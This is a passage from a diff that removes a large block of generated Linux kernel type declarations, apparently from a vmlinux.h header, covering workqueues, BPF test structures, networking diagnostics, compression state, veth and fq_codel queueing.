mayday_node; - struct work_struct unbound_release_work; - struct callback_head rcu; - long: 64; - long: 64; -}; - -struct worker_pool { - raw_spinlock_t lock; - int cpu; - int node; - int id; - unsigned int flags; - long unsigned int watchdog_ts; - int nr_running; - struct list_head worklist; - int nr_workers; - int nr_idle; - struct list_head idle_list; - struct timer_list idle_timer; - struct timer_list mayday_timer; - struct hlist_head busy_hash[64]; - struct worker *manager; - struct list_head workers; - struct completion *detach_completion; - struct ida worker_ida; - struct workqueue_attrs *attrs; - struct hlist_node hash_node; - int refcnt; - struct callback_head rcu; -}; - -enum { - POOL_MANAGER_ACTIVE = 1, - POOL_DISASSOCIATED = 4, - WORKER_DIE = 2, - WORKER_IDLE = 4, - WORKER_PREP = 8, - WORKER_CPU_INTENSIVE = 64, - WORKER_UNBOUND = 128, - WORKER_REBOUND = 256, - WORKER_NOT_RUNNING = 456, - NR_STD_WORKER_POOLS = 2, - UNBOUND_POOL_HASH_ORDER = 6, - BUSY_WORKER_HASH_ORDER = 6, - MAX_IDLE_WORKERS_RATIO = 4, - IDLE_WORKER_TIMEOUT = 300000, - MAYDAY_INITIAL_TIMEOUT = 10, - MAYDAY_INTERVAL = 100, - CREATE_COOLDOWN = 1000, - RESCUER_NICE_LEVEL = -20, - HIGHPRI_NICE_LEVEL = -20, - WQ_NAME_LEN = 24, -}; - -struct wq_flusher { - struct list_head list; - int flush_color; - struct completion done; -}; - -struct wq_device { - struct workqueue_struct *wq; - struct device dev; -}; - -struct trace_event_raw_workqueue_queue_work { - struct trace_entry ent; - void *work; - void *function; - u32 __data_loc_workqueue; - int req_cpu; - int cpu; - char __data[0]; -}; - -struct trace_event_raw_workqueue_activate_work { - struct trace_entry ent; - void *work; - char __data[0]; -}; - -struct trace_event_raw_workqueue_execute_start { - struct trace_entry ent; - void *work; - void *function; - char __data[0]; -}; - -struct trace_event_raw_workqueue_execute_end { - struct trace_entry ent; - void *work; - void *function; - char __data[0]; -}; - -struct trace_event_data_offsets_workqueue_queue_work { - u32 workqueue; -}; - -struct trace_event_data_offsets_workqueue_activate_work {}; - -struct trace_event_data_offsets_workqueue_execute_start {}; - -struct trace_event_data_offsets_workqueue_execute_end {}; - -typedef void (*btf_trace_workqueue_queue_work)(void *, int, struct pool_workqueue *, struct work_struct *); - -typedef void (*btf_trace_workqueue_activate_work)(void *, struct work_struct *); - -typedef void (*btf_trace_workqueue_execute_start)(void *, struct work_struct *); - -typedef void (*btf_trace_workqueue_execute_end)(void *, struct work_struct *, work_func_t); - -struct wq_barrier { - struct work_struct work; - struct completion done; - struct task_struct *task; -}; - -struct cwt_wait { - wait_queue_entry_t wait; - struct work_struct *work; -}; - -struct apply_wqattrs_ctx { - struct workqueue_struct *wq; - struct workqueue_attrs *attrs; - struct list_head list; - struct pool_workqueue *dfl_pwq; - struct pool_workqueue *pwq_tbl[0]; -}; - -struct work_for_cpu { - struct work_struct work; - long int (*fn)(void *); - void *arg; - long int ret; -}; - -enum vmpressure_levels { - VMPRESSURE_LOW = 0, - VMPRESSURE_MEDIUM = 1, - VMPRESSURE_CRITICAL = 2, - VMPRESSURE_NUM_LEVELS = 3, -}; - -enum vmpressure_modes { - VMPRESSURE_NO_PASSTHROUGH = 0, - VMPRESSURE_HIERARCHY = 1, - VMPRESSURE_LOCAL = 2, - VMPRESSURE_NUM_MODES = 3, -}; - -struct vmpressure_event { - struct eventfd_ctx *efd; - enum vmpressure_levels level; - enum vmpressure_modes mode; - struct list_head node; -}; - -struct page_reporting_dev_info { - int (*report)(struct page_reporting_dev_info *, struct scatterlist *, unsigned int); - struct delayed_work work; - atomic_t state; - unsigned int order; -}; - -enum { - PAGE_REPORTING_IDLE = 0, - PAGE_REPORTING_REQUESTED = 1, - PAGE_REPORTING_ACTIVE = 2, -}; - -enum { - VERBOSE_STATUS = 1, -}; - -enum { - Enabled = 0, - Magic = 1, -}; - -typedef struct { - struct list_head list; - long unsigned int flags; - int offset; - int size; - char *magic; - char *mask; - const char *interpreter; - char *name; - struct dentry *dentry; - struct file *interp_file; -} Node; - -struct simple_xattr { - struct list_head list; - char *name; - size_t size; - char value[0]; -}; - -struct kernfs_super_info { - struct super_block *sb; - struct kernfs_root *root; - const void *ns; - struct list_head node; -}; - -enum { - Opt_debug___2 = 0, - Opt_dfltuid = 1, - Opt_dfltgid = 2, - Opt_afid = 3, - Opt_uname = 4, - Opt_remotename = 5, - Opt_cache = 6, - Opt_cachetag = 7, - Opt_nodevmap = 8, - Opt_cache_loose = 9, - Opt_fscache = 10, - Opt_mmap = 11, - Opt_access = 12, - Opt_posixacl = 13, - Opt_locktimeout = 14, - Opt_err___6 = 15, -}; - -typedef struct irq_alloc_info msi_alloc_info_t; - -struct msi_domain_info; - -struct msi_domain_ops { - irq_hw_number_t (*get_hwirq)(struct msi_domain_info *, msi_alloc_info_t *); - int (*msi_init)(struct irq_domain *, struct msi_domain_info *, unsigned int, irq_hw_number_t, msi_alloc_info_t *); - void (*msi_free)(struct irq_domain *, struct msi_domain_info *, unsigned int); - int (*msi_check)(struct irq_domain *, struct msi_domain_info *, struct device *); - int (*msi_prepare)(struct irq_domain *, struct device *, int, msi_alloc_info_t *); - void (*set_desc)(msi_alloc_info_t *, struct msi_desc *); - int (*domain_alloc_irqs)(struct irq_domain *, struct device *, int); - void (*domain_free_irqs)(struct irq_domain *, struct device *); -}; - -struct msi_domain_info { - u32 flags; - struct msi_domain_ops *ops; - struct irq_chip *chip; - void *chip_data; - irq_flow_handler_t handler; - void *handler_data; - const char *handler_name; - void *data; -}; - -enum { - MSI_FLAG_USE_DEF_DOM_OPS = 1, - MSI_FLAG_USE_DEF_CHIP_OPS = 2, - MSI_FLAG_MULTI_PCI_MSI = 4, - MSI_FLAG_PCI_MSIX = 8, - MSI_FLAG_ACTIVATE_EARLY = 16, - MSI_FLAG_MUST_REACTIVATE = 32, - MSI_FLAG_LEVEL_CAPABLE = 64, - MSI_FLAG_DEV_SYSFS = 128, - MSI_FLAG_MSIX_CONTIGUOUS = 256, - MSI_FLAG_ALLOC_SIMPLE_MSI_DESCS = 512, - MSI_FLAG_FREE_MSI_DESCS = 1024, -}; - -struct acpi_prt_entry { - struct acpi_pci_id id; - u8 pin; - acpi_handle link; - u32 index; -}; - -struct prt_quirk { - const struct dmi_system_id *system; - unsigned int segment; - unsigned int bus; - unsigned int device; - unsigned char pin; - const char *source; - const char *actual_source; -}; - -struct bus_attribute { - struct attribute attr; - ssize_t (*show)(struct bus_type *, char *); - ssize_t (*store)(struct bus_type *, const char *, size_t); -}; - -enum hid_class_request { - HID_REQ_GET_REPORT = 1, - HID_REQ_GET_IDLE = 2, - HID_REQ_GET_PROTOCOL = 3, - HID_REQ_SET_REPORT = 9, - HID_REQ_SET_IDLE = 10, - HID_REQ_SET_PROTOCOL = 11, -}; - -struct zpff_device { - struct hid_report *report; -}; - -struct bpf_cg_run_ctx { - struct bpf_run_ctx run_ctx; - const struct bpf_prog_array_item *prog_item; - int retval; -}; - -struct trace_event_raw_bpf_test_finish { - struct trace_entry ent; - int err; - char __data[0]; -}; - -struct trace_event_data_offsets_bpf_test_finish {}; - -typedef void (*btf_trace_bpf_test_finish)(void *, int *); - -struct bpf_test_timer { - enum { - NO_PREEMPT = 0, - NO_MIGRATE = 1, - } mode; - u32 i; - u64 time_start; - u64 time_spent; -}; - -struct xdp_page_head { - struct xdp_buff orig_ctx; - struct xdp_buff ctx; - struct xdp_frame frm; - u8 data[0]; -}; - -struct xdp_test_data { - struct xdp_buff *orig_ctx; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct xdp_rxq_info rxq; - struct net_device *dev; - struct page_pool *pp; - struct xdp_frame **frames; - struct sk_buff **skbs; - struct xdp_mem_info mem; - u32 batch_size; - u32 frame_cnt; - long: 64; - long: 64; -}; - -struct bpf_fentry_test_t { - struct bpf_fentry_test_t *a; -}; - -struct prog_test_member1 { - int a; -}; - -struct prog_test_member { - struct prog_test_member1 m; - int c; -}; - -struct prog_test_ref_kfunc { - int a; - int b; - struct prog_test_member memb; - struct prog_test_ref_kfunc *next; - refcount_t cnt; -}; - -struct prog_test_pass1 { - int x0; - struct { - int x1; - struct { - int x2; - struct { - int x3; - }; - }; - }; -}; - -struct prog_test_pass2 { - int len; - short int arr1[4]; - struct { - char arr2[4]; - long unsigned int arr3[8]; - } x; -}; - -struct prog_test_fail1 { - void *p; - int x; -}; - -struct prog_test_fail2 { - int x8; - struct prog_test_pass1 x; -}; - -struct prog_test_fail3 { - int len; - char arr1[2]; - char arr2[0]; -}; - -struct bpf_raw_tp_test_run_info { - struct bpf_prog *prog; - void *ctx; - u32 retval; -}; - -union nf_conntrack_nat_help {}; - -struct nf_conn_nat { - union nf_conntrack_nat_help help; -}; - -struct nf_nat_lookup_hook_priv { - struct nf_hook_entries *entries; - struct callback_head callback_head; -}; - -struct nf_nat_hooks_net { - struct nf_hook_ops *nat_hook_ops; - unsigned int users; -}; - -struct nat_net { - struct nf_nat_hooks_net nat_proto_net[11]; -}; - -struct nf_nat_proto_clean { - u8 l3proto; - u8 l4proto; -}; - -struct inet_diag_sockid { - __be16 idiag_sport; - __be16 idiag_dport; - __be32 idiag_src[4]; - __be32 idiag_dst[4]; - __u32 idiag_if; - __u32 idiag_cookie[2]; -}; - -struct inet_diag_req_v2 { - __u8 sdiag_family; - __u8 sdiag_protocol; - __u8 idiag_ext; - __u8 pad; - __u32 idiag_states; - struct inet_diag_sockid id; -}; - -struct inet_diag_msg { - __u8 idiag_family; - __u8 idiag_state; - __u8 idiag_timer; - __u8 idiag_retrans; - struct inet_diag_sockid id; - __u32 idiag_expires; - __u32 idiag_rqueue; - __u32 idiag_wqueue; - __u32 idiag_uid; - __u32 idiag_inode; -}; - -enum { - INET_DIAG_NONE = 0, - INET_DIAG_MEMINFO = 1, - INET_DIAG_INFO = 2, - INET_DIAG_VEGASINFO = 3, - INET_DIAG_CONG = 4, - INET_DIAG_TOS = 5, - INET_DIAG_TCLASS = 6, - INET_DIAG_SKMEMINFO = 7, - INET_DIAG_SHUTDOWN = 8, - INET_DIAG_DCTCPINFO = 9, - INET_DIAG_PROTOCOL = 10, - INET_DIAG_SKV6ONLY = 11, - INET_DIAG_LOCALS = 12, - INET_DIAG_PEERS = 13, - INET_DIAG_PAD = 14, - INET_DIAG_MARK = 15, - INET_DIAG_BBRINFO = 16, - INET_DIAG_CLASS_ID = 17, - INET_DIAG_MD5SIG = 18, - INET_DIAG_ULP_INFO = 19, - INET_DIAG_SK_BPF_STORAGES = 20, - INET_DIAG_CGROUP_ID = 21, - INET_DIAG_SOCKOPT = 22, - __INET_DIAG_MAX = 23, -}; - -struct inet_diag_handler { - void (*dump)(struct sk_buff *, struct netlink_callback *, const struct inet_diag_req_v2 *); - int (*dump_one)(struct netlink_callback *, const struct inet_diag_req_v2 *); - void (*idiag_get_info)(struct sock *, struct inet_diag_msg *, void *); - int (*idiag_get_aux)(struct sock *, bool, struct sk_buff *); - size_t (*idiag_get_aux_size)(struct sock *, bool); - int (*destroy)(struct sk_buff *, const struct inet_diag_req_v2 *); - __u16 idiag_type; - __u16 idiag_info_size; -}; - -struct tcp_info { - __u8 tcpi_state; - __u8 tcpi_ca_state; - __u8 tcpi_retransmits; - __u8 tcpi_probes; - __u8 tcpi_backoff; - __u8 tcpi_options; - __u8 tcpi_snd_wscale: 4; - __u8 tcpi_rcv_wscale: 4; - __u8 tcpi_delivery_rate_app_limited: 1; - __u8 tcpi_fastopen_client_fail: 2; - __u32 tcpi_rto; - __u32 tcpi_ato; - __u32 tcpi_snd_mss; - __u32 tcpi_rcv_mss; - __u32 tcpi_unacked; - __u32 tcpi_sacked; - __u32 tcpi_lost; - __u32 tcpi_retrans; - __u32 tcpi_fackets; - __u32 tcpi_last_data_sent; - __u32 tcpi_last_ack_sent; - __u32 tcpi_last_data_recv; - __u32 tcpi_last_ack_recv; - __u32 tcpi_pmtu; - __u32 tcpi_rcv_ssthresh; - __u32 tcpi_rtt; - __u32 tcpi_rttvar; - __u32 tcpi_snd_ssthresh; - __u32 tcpi_snd_cwnd; - __u32 tcpi_advmss; - __u32 tcpi_reordering; - __u32 tcpi_rcv_rtt; - __u32 tcpi_rcv_space; - __u32 tcpi_total_retrans; - __u64 tcpi_pacing_rate; - __u64 tcpi_max_pacing_rate; - __u64 tcpi_bytes_acked; - __u64 tcpi_bytes_received; - __u32 tcpi_segs_out; - __u32 tcpi_segs_in; - __u32 tcpi_notsent_bytes; - __u32 tcpi_min_rtt; - __u32 tcpi_data_segs_in; - __u32 tcpi_data_segs_out; - __u64 tcpi_delivery_rate; - __u64 tcpi_busy_time; - __u64 tcpi_rwnd_limited; - __u64 tcpi_sndbuf_limited; - __u32 tcpi_delivered; - __u32 tcpi_delivered_ce; - __u64 tcpi_bytes_sent; - __u64 tcpi_bytes_retrans; - __u32 tcpi_dsack_dups; - __u32 tcpi_reord_seen; - __u32 tcpi_rcv_ooopack; - __u32 tcpi_snd_wnd; - __u32 tcpi_rcv_wnd; - __u32 tcpi_rehash; -}; - -struct tcp_diag_md5sig { - __u8 tcpm_family; - __u8 tcpm_prefixlen; - __u16 tcpm_keylen; - __be32 tcpm_addr[4]; - __u8 tcpm_key[80]; -}; - -enum die_val { - DIE_OOPS = 1, - DIE_INT3 = 2, - DIE_DEBUG = 3, - DIE_PANIC = 4, - DIE_NMI = 5, - DIE_DIE = 6, - DIE_KERNELDEBUG = 7, - DIE_TRAP = 8, - DIE_GPF = 9, - DIE_CALL = 10, - DIE_PAGE_FAULT = 11, - DIE_NMIUNKNOWN = 12, -}; - -enum kernel_gp_hint { - GP_NO_HINT = 0, - GP_NON_CANONICAL = 1, - GP_CANONICAL = 2, -}; - -typedef void crash_vmclear_fn(); - -typedef void (*nmi_shootdown_cb)(int, struct pt_regs *); - -enum intercept_words { - INTERCEPT_CR = 0, - INTERCEPT_DR = 1, - INTERCEPT_EXCEPTION = 2, - INTERCEPT_WORD3 = 3, - INTERCEPT_WORD4 = 4, - INTERCEPT_WORD5 = 5, - MAX_INTERCEPT = 6, -}; - -struct rusage { - struct __kernel_old_timeval ru_utime; - struct __kernel_old_timeval ru_stime; - __kernel_long_t ru_maxrss; - __kernel_long_t ru_ixrss; - __kernel_long_t ru_idrss; - __kernel_long_t ru_isrss; - __kernel_long_t ru_minflt; - __kernel_long_t ru_majflt; - __kernel_long_t ru_nswap; - __kernel_long_t ru_inblock; - __kernel_long_t ru_oublock; - __kernel_long_t ru_msgsnd; - __kernel_long_t ru_msgrcv; - __kernel_long_t ru_nsignals; - __kernel_long_t ru_nvcsw; - __kernel_long_t ru_nivcsw; -}; - -struct waitid_info { - pid_t pid; - uid_t uid; - int status; - int cause; -}; - -struct wait_opts { - enum pid_type wo_type; - int wo_flags; - struct pid *wo_pid; - struct waitid_info *wo_info; - int wo_stat; - struct rusage *wo_rusage; - wait_queue_entry_t child_wait; - int notask_error; -}; - -struct callchain_cpus_entries { - struct callback_head callback_head; - struct perf_callchain_entry *cpu_entries[0]; -}; - -typedef unsigned int pgtbl_mod_mask; - -typedef int (*pte_fn_t)(pte_t *, long unsigned int, void *); - -struct copy_subpage_arg { - struct page *dst; - struct page *src; - struct vm_area_struct *vma; -}; - -struct crypto_attr_alg { - char name[128]; -}; - -struct crypto_attr_type { - u32 type; - u32 mask; -}; - -enum { - CRYPTO_MSG_ALG_REQUEST = 0, - CRYPTO_MSG_ALG_REGISTER = 1, - CRYPTO_MSG_ALG_LOADED = 2, -}; - -struct crypto_larval { - struct crypto_alg alg; - struct crypto_alg *adult; - struct completion completion; - u32 mask; - bool test_started; -}; - -enum { - CRYPTOA_UNSPEC = 0, - CRYPTOA_ALG = 1, - CRYPTOA_TYPE = 2, - __CRYPTOA_MAX = 3, -}; - -struct cryptomgr_param { - struct rtattr *tb[34]; - struct { - struct rtattr attr; - struct crypto_attr_type data; - } type; - struct { - struct rtattr attr; - struct crypto_attr_alg data; - } attrs[32]; - char template[128]; - struct crypto_larval *larval; - u32 otype; - u32 omask; -}; - -struct crypto_test_param { - char driver[128]; - char alg[128]; - u32 type; -}; - -struct io_rename { - struct file *file; - int old_dfd; - int new_dfd; - struct filename *oldpath; - struct filename *newpath; - int flags; -}; - -struct io_unlink { - struct file *file; - int dfd; - int flags; - struct filename *filename; -}; - -struct io_mkdir { - struct file *file; - int dfd; - umode_t mode; - struct filename *filename; -}; - -struct io_link { - struct file *file; - int old_dfd; - int new_dfd; - struct filename *oldpath; - struct filename *newpath; - int flags; -}; - -typedef unsigned char Byte; - -typedef unsigned int uInt; - -typedef long unsigned int uLong; - -struct internal_state; - -struct z_stream_s { - const Byte *next_in; - uLong avail_in; - uLong total_in; - Byte *next_out; - uLong avail_out; - uLong total_out; - char *msg; - struct internal_state *state; - void *workspace; - int data_type; - uLong adler; - uLong reserved; -}; - -typedef struct z_stream_s z_stream; - -typedef z_stream *z_streamp; - -typedef struct { - unsigned char op; - unsigned char bits; - short unsigned int val; -} code; - -typedef enum { - CODES = 0, - LENS = 1, - DISTS = 2, -} codetype; - -typedef enum { - HEAD = 0, - FLAGS = 1, - TIME = 2, - OS = 3, - EXLEN = 4, - EXTRA = 5, - NAME = 6, - COMMENT = 7, - HCRC = 8, - DICTID = 9, - DICT = 10, - TYPE = 11, - TYPEDO = 12, - STORED = 13, - COPY = 14, - TABLE = 15, - LENLENS = 16, - CODELENS = 17, - LEN = 18, - LENEXT = 19, - DIST = 20, - DISTEXT = 21, - MATCH = 22, - LIT = 23, - CHECK = 24, - LENGTH = 25, - DONE = 26, - BAD = 27, - MEM = 28, - SYNC = 29, -} inflate_mode; - -struct inflate_state { - inflate_mode mode; - int last; - int wrap; - int havedict; - int flags; - unsigned int dmax; - long unsigned int check; - long unsigned int total; - unsigned int wbits; - unsigned int wsize; - unsigned int whave; - unsigned int write; - unsigned char *window; - long unsigned int hold; - unsigned int bits; - unsigned int length; - unsigned int offset; - unsigned int extra; - const code *lencode; - const code *distcode; - unsigned int lenbits; - unsigned int distbits; - unsigned int ncode; - unsigned int nlen; - unsigned int ndist; - unsigned int have; - code *next; - short unsigned int lens[320]; - short unsigned int work[288]; - code codes[2048]; -}; - -struct inflate_workspace { - struct inflate_state inflate_state; - unsigned char working_window[32768]; -}; - -typedef struct { - U32 f1c; - U32 f1d; - U32 f7b; - U32 f7c; -} ZSTD_cpuid_t; - -typedef struct { - size_t error; - int lowerBound; - int upperBound; -} ZSTD_bounds; - -typedef enum { - ZSTD_reset_session_only = 1, - ZSTD_reset_parameters = 2, - ZSTD_reset_session_and_parameters = 3, -} ZSTD_ResetDirective; - -typedef enum { - ZSTD_d_windowLogMax = 100, - ZSTD_d_experimentalParam1 = 1000, - ZSTD_d_experimentalParam2 = 1001, - ZSTD_d_experimentalParam3 = 1002, - ZSTD_d_experimentalParam4 = 1003, -} ZSTD_dParameter; - -typedef ZSTD_DCtx ZSTD_DStream___2; - -typedef enum { - ZSTDnit_frameHeader = 0, - ZSTDnit_blockHeader = 1, - ZSTDnit_block = 2, - ZSTDnit_lastBlock = 3, - ZSTDnit_checksum = 4, - ZSTDnit_skippableFrame = 5, -} ZSTD_nextInputType_e; - -typedef struct { - size_t compressedSize; - long long unsigned int decompressedBound; -} ZSTD_frameSizeInfo; - -typedef struct { - blockType_e blockType; - U32 lastBlock; - U32 origSize; -} blockProperties_t; - -struct irq_poll; - -typedef int irq_poll_fn(struct irq_poll *, int); - -struct irq_poll { - struct list_head list; - long unsigned int state; - int weight; - irq_poll_fn *poll; -}; - -enum { - IRQ_POLL_F_SCHED = 0, - IRQ_POLL_F_DISABLE = 1, -}; - -struct aper_size_info_fixed { - int size; - int num_entries; - int page_order; -}; - -struct intel_gtt_driver { - unsigned int gen: 8; - unsigned int is_g33: 1; - unsigned int is_pineview: 1; - unsigned int is_ironlake: 1; - unsigned int has_pgtbl_enable: 1; - unsigned int dma_mask_size: 8; - int (*setup)(); - void (*cleanup)(); - void (*write_entry)(dma_addr_t, unsigned int, unsigned int); - bool (*check_flags)(unsigned int); - void (*chipset_flush)(); -}; - -struct _intel_private { - const struct intel_gtt_driver *driver; - struct pci_dev *pcidev; - struct pci_dev *bridge_dev; - u8 *registers; - phys_addr_t gtt_phys_addr; - u32 PGETBL_save; - u32 *gtt; - bool clear_fake_agp; - int num_dcache_entries; - void *i9xx_flush_page; - char *i81x_gtt_table; - struct resource ifp_resource; - int resource_valid; - struct page *scratch_page; - phys_addr_t scratch_page_dma; - int refcount; - unsigned int needs_dmar: 1; - phys_addr_t gma_bus_addr; - resource_size_t stolen_size; - unsigned int gtt_total_entries; - unsigned int gtt_mappable_entries; -}; - -struct intel_gtt_driver_description { - unsigned int gmch_chip_id; - char *name; - const struct intel_gtt_driver *gtt_driver; -}; - -enum { - VETH_INFO_UNSPEC = 0, - VETH_INFO_PEER = 1, - __VETH_INFO_MAX = 2, -}; - -struct veth_stats { - u64 rx_drops; - u64 xdp_packets; - u64 xdp_bytes; - u64 xdp_redirect; - u64 xdp_drops; - u64 xdp_tx; - u64 xdp_tx_err; - u64 peer_tq_xdp_xmit; - u64 peer_tq_xdp_xmit_err; -}; - -struct veth_rq_stats { - struct veth_stats vs; - struct u64_stats_sync syncp; -}; - -struct veth_rq { - struct napi_struct xdp_napi; - struct napi_struct *napi; - struct net_device *dev; - struct bpf_prog *xdp_prog; - struct xdp_mem_info xdp_mem; - struct veth_rq_stats stats; - bool rx_notify_masked; - long: 64; - struct ptr_ring xdp_ring; - struct xdp_rxq_info xdp_rxq; -}; - -struct veth_priv { - struct net_device *peer; - atomic64_t dropped; - struct bpf_prog *_xdp_prog; - struct veth_rq *rq; - unsigned int requested_headroom; -}; - -struct veth_xdp_tx_bq { - struct xdp_frame *q[16]; - unsigned int count; -}; - -struct veth_q_stat_desc { - char desc[32]; - size_t offset; -}; - -enum { - TCA_FQ_CODEL_UNSPEC = 0, - TCA_FQ_CODEL_TARGET = 1, - TCA_FQ_CODEL_LIMIT = 2, - TCA_FQ_CODEL_INTERVAL = 3, - TCA_FQ_CODEL_ECN = 4, - TCA_FQ_CODEL_FLOWS = 5, - TCA_FQ_CODEL_QUANTUM = 6, - TCA_FQ_CODEL_CE_THRESHOLD = 7, - TCA_FQ_CODEL_DROP_BATCH_SIZE = 8, - TCA_FQ_CODEL_MEMORY_LIMIT = 9, - TCA_FQ_CODEL_CE_THRESHOLD_SELECTOR = 10, - TCA_FQ_CODEL_CE_THRESHOLD_MASK = 11, - __TCA_FQ_CODEL_MAX = 12, -}; - -enum { - TCA_FQ_CODEL_XSTATS_QDISC = 0, - TCA_FQ_CODEL_XSTATS_CLASS = 1, -}; - -struct tc_fq_codel_qd_stats { - __u32 maxpacket; - __u32 drop_overlimit; - __u32 ecn_mark; - __u32 new_flow_count; - __u32 new_flows_len; - __u32 old_flows_len; - __u32 ce_mark; - __u32 memory_usage; - __u32 drop_overmemory; -}; - -struct tc_fq_codel_cl_stats { - __s32 deficit; - __u32 ldelay; - __u32 count; - __u32 lastcount; - __u32 dropping; - __s32 drop_next; -}; - -struct tc_fq_codel_xstats { - __u32 type; - union { - struct tc_fq_codel_qd_stats qdisc_stats; - struct tc_fq_codel_cl_stats class_stats; - }; -}; - -typedef u32 codel_time_t; - -typedef s32 codel_tdiff_t; - -struct codel_params { - codel_time_t target; - codel_time_t ce_threshold; - codel_time_t interval; - u32 mtu; - bool ecn; - u8 ce_threshold_selector; - u8 ce_threshold_mask; -}; - -struct codel_vars { - u32 count; - u32 lastcount; - bool dropping; - u16 rec_inv_sqrt; - codel_time_t first_above_time; - codel_time_t drop_next; - codel_time_t ldelay; -}; - -struct codel_stats { - u32 maxpacket; - u32 drop_count; - u32 drop_len; - u32 ecn_mark; - u32 ce_mark; -}; - -typedef u32 (*codel_skb_len_t)(const struct sk_buff *); - -typedef codel_time_t (*codel_skb_time_t)(const struct sk_buff *); - -typedef void (*codel_skb_drop_t)(struct sk_buff *, void *); - -typedef struct sk_buff * (*codel_skb_dequeue_t)(struct codel_vars *, void *); - -struct codel_skb_cb { - codel_time_t enqueue_time; - unsigned int mem_usage; -}; - -struct fq_codel_flow { - struct sk_buff *head; - struct sk_buff *tail; - struct list_head flowchain; - int deficit; - struct codel_vars cvars; -}; - -struct fq_codel_sched_data { - struct tcf_proto *filter_list; - struct tcf_block *block; - struct fq_codel_flow *flows; - u32 *backlogs; - u32 flows_cnt; - u32 quantum; - u32 drop_batch_size; - u32 memory_limit; - struct codel_params cparams; - struct codel_stats cstats; - u32 memory_usage; - u32 drop_overmemory; - u32 drop_overlimit; - u32 new_flow_count; - struct list_head new_flows; - struct list_head old_flows; -}; - -struct netlbl_domaddr4_map { - struct netlbl_dommap_def def; - struct netlbl_af4list list; -}; - -struct netlbl_domaddr6_map { - struct netlbl_dommap_def def; - struct netlbl_af6list list; -}; - -enum { - st_wordstart = 0, - st_wordcmp = 1, - st_wordskip = 2, - st_bufcpy = 3, -}; - -enum { - st_wordstart___2 = 0, - st_wordcmp___2 = 1, - st_wordskip___2 = 2, -}; - -enum { - GATE_INTERRUPT = 14, - GATE_TRAP = 15, - GATE_CALL = 12, - GATE_TASK = 5, -}; - -struct idt_data { - unsigned int vector; - unsigned int segment; - struct idt_bits bits; - const void *addr; -}; - -typedef __kernel_long_t __kernel_suseconds_t; - -typedef __kernel_suseconds_t suseconds_t; - -struct __kernel_itimerspec { - struct __kernel_timespec it_interval; - struct __kernel_timespec it_value; -}; - -struct old_timeval32 { - old_time32_t tv_sec; - s32 tv_usec; -}; - -struct old_itimerspec32 { - struct old_timespec32 it_interval; - struct old_timespec32 it_value; -}; - -struct old_timex32 { - u32 modes; - s32 offset; - s32 freq; - s32 maxerror; - s32 esterror; - s32 status; - s32 constant; - s32 precision; - s32 tolerance; - struct old_timeval32 time; - s32 tick; - s32 ppsfreq; - s32 jitter; - s32 shift; - s32 stabil; - s32 jitcnt; - s32 calcnt; - s32 errcnt; - s32 stbcnt; - s32 tai; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct mlock_pvec { - local_lock_t lock; - struct pagevec vec; -}; - -struct timerfd_ctx { - union { - struct hrtimer tmr; - struct alarm alarm; - } t; - ktime_t tintv; - ktime_t moffs; - wait_queue_head_t wqh; - u64 ticks; - int clockid; - short unsigned int expired; - short unsigned int settime_flags; - struct callback_head rcu; - struct list_head clist; - spinlock_t cancel_lock; - bool might_cancel; -}; - -struct fsmap { - __u32 fmr_device; - __u32 fmr_flags; - __u64 fmr_physical; - __u64 fmr_owner; - __u64 fmr_offset; - __u64 fmr_length; - __u64 fmr_reserved[3]; -}; - -struct ext4_fsmap_head { - uint32_t fmh_iflags; - uint32_t fmh_oflags; - unsigned int fmh_count; - unsigned int fmh_entries; - struct ext4_fsmap fmh_keys[2]; -}; - -typedef int (*ext4_fsmap_format_t)(struct ext4_fsmap *, void *); - -typedef int (*ext4_mballoc_query_range_fn)(struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t, void *); - -struct ext4_getfsmap_info { - struct ext4_fsmap_head *gfi_head; - ext4_fsmap_format_t gfi_formatter; - void *gfi_format_arg; - ext4_fsblk_t gfi_next_fsblk; - u32 gfi_dev; - ext4_group_t gfi_agno; - struct ext4_fsmap gfi_low; - struct ext4_fsmap gfi_high; - struct ext4_fsmap gfi_lastfree; - struct list_head gfi_meta_list; - bool gfi_last; -}; - -struct ext4_getfsmap_dev { - int (*gfd_fn)(struct super_block *, struct ext4_fsmap *, struct ext4_getfsmap_info *); - u32 gfd_dev; -}; - -struct netif_security_struct { - struct net *ns; - int ifindex; - u32 sid; -}; - -struct sel_netif { - struct list_head list; - struct netif_security_struct nsec; - struct callback_head callback_head; -}; - -struct acpi_signal_fatal_info { - u32 type; - u32 code; - u32 argument; -}; - -enum { - LDISC_SEM_NORMAL = 0, - LDISC_SEM_OTHER = 1, -}; - -struct nsim_dev_hwstats_netdev { - struct list_head list; - struct net_device *netdev; - struct rtnl_hw_stats64 stats; - bool enabled; - bool fail_enable; -}; - -enum nsim_dev_hwstats_do { - NSIM_DEV_HWSTATS_DO_DISABLE = 0, - NSIM_DEV_HWSTATS_DO_ENABLE = 1, - NSIM_DEV_HWSTATS_DO_FAIL = 2, -}; - -struct nsim_dev_hwstats_fops { - const struct file_operations fops; - enum nsim_dev_hwstats_do action; - enum netdev_offload_xstats_type type; -}; - -enum { - TCA_ACT_UNSPEC = 0, - TCA_ACT_KIND = 1, - TCA_ACT_OPTIONS = 2, - TCA_ACT_INDEX = 3, - TCA_ACT_STATS = 4, - TCA_ACT_PAD = 5, - TCA_ACT_COOKIE = 6, - TCA_ACT_FLAGS = 7, - TCA_ACT_HW_STATS = 8, - TCA_ACT_USED_HW_STATS = 9, - TCA_ACT_IN_HW_COUNT = 10, - __TCA_ACT_MAX = 11, -}; - -struct psample_group { - struct list_head list; - struct net *net; - u32 group_num; - u32 refcount; - u32 seq; - struct callback_head rcu; -}; - -struct action_gate_entry { - u8 gate_state; - u32 interval; - s32 ipv; - s32 maxoctets; -}; - -struct tcf_qevent { - struct tcf_block *block; - struct tcf_block_ext_info info; - struct tcf_proto *filter_chain; -}; - -enum pedit_header_type { - TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK = 0, - TCA_PEDIT_KEY_EX_HDR_TYPE_ETH = 1, - TCA_PEDIT_KEY_EX_HDR_TYPE_IP4 = 2, - TCA_PEDIT_KEY_EX_HDR_TYPE_IP6 = 3, - TCA_PEDIT_KEY_EX_HDR_TYPE_TCP = 4, - TCA_PEDIT_KEY_EX_HDR_TYPE_UDP = 5, - __PEDIT_HDR_TYPE_MAX = 6, -}; - -enum pedit_cmd { - TCA_PEDIT_KEY_EX_CMD_SET = 0, - 